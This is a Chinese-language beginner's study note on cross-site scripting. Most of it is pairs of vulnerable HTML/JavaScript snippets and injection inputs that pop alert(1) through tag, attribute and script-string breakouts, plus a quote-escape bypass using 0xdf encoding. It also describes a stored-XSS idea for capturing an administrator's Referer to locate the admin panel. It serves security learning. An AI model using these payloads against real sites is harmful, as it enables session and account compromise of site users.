BabyLearnXss

Reflected Cross-Site Scripting

定义:攻击者通过特定手法(如电子邮件),诱使用户访问包含恶意代码的 URL。当受害者点击专门设计的链接时,恶意代码直接在受害者主机上的浏览器执行[1]
特点:通常出现在网站的搜索栏、用户登录口等地方[1]

TagElement
1
2
3
<!--Vulnerbility注入点 <label><h4>  </h4></label>  -->
<!--input输入 alert(1) -->
<label><h4>alert(1)</h4></label>
Tag
1
2
3
<!--Vulnerbility注入点:<label><h4><input type="text" name="test" value="1">  -->
<!--Inject输入: 1" onfocus="alert(1)" autofocus="true" -->
<label><h4><input type="text" name="test" value="1" onfocus="alert(1)" autofocus="true"></h4></label>
  1. 引号转义不能被闭合,含有Javascript,直接执行代码。
1
2
3
<!--Vulnerbility漏洞: <label><h4><a href="javascript:2333\" onfocus=\"alert(1)\" autofocus=\"true">不能闭合引号</a></h4></label> -->
<!--Injection输入:alert(1)-->
<label><h4><a href="javascript:alert(1)">不能闭合引号</a></h4></label>
  1. 引号转义不能被闭合,查看网页是否以中文编码。如是,则以0xdf等和反斜杠结合编码,达到闭合引号。
  2. 标签属性外
1
2
3
<!--Vulnerbility注入点: <label><h4><input type="text" name="test" value=""  2333" > </h4></label>  -->
<!--Inject输入: onfocus="alert(1)" autofocus="true" -->
<label><h4><input type="text" name="test" value="" onfocus="alert(1)" autofocus="true" > </h4></label>
Javascript
1. 闭合引号,基础弹框。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--Vulnerbility注入点:
<label><h4>
<script type="text/javascript">
var you = 'iloveyou';
document.write('2333''+','+you);
</script>
</h4></label>
-->
<!--Inject输入: 233');alert(1);//'+','+you); -->
<label><h4>
<script type="text/javascript">
var you = 'iloveyou';
document.write('233');alert(1);//'+','+you);
</script>
</h4></label>
  1. 引号被过滤
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--Vulnerbility注入点:  输入的是2333"alert(1)
<label><h4 id="twoH4">
<script type="text/javascript">
var two = document.getElementById('twoH4');
var two_value = "2333alert(1)";
two.innerHTML=two_value;
</script>
</h4></label>
-->
<!--Inject输入: </script> <script>alert(1)</script>-->
<label><h4>
<script type="text/javascript">
var you = 'iloveyou';
document.write('</script> <script>alert(1)</script>'+','+you);
</script>
</h4></label>

Persistent Cross-SIte Scripting

定义:攻击者事先将恶意代码上传或储存到漏洞服务器,受害者浏览包含此恶意代码的页面,就会执行恶意代码[1]
特点:一般出现在网站留言、评论、博客日志等交互处[1]

利用构想,上传恶意代码,该恶意代码的功能是能获取Referer字段。作用是当管理员浏览用户头像时,会自动向构造的Refer.php发送请求,如此可以得到管理员的后台。

DOM

定义:浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据若包含恶意 JavaScript 脚本,而脚本未经适当过滤,那么应用程序可能受到基于 DOM 的 XSS 攻击[1]
特点:执行恶意代码的操作未经服务器。

Reference

1: https://ctf-wiki.github.io/ctf-wiki/web/xss/

评论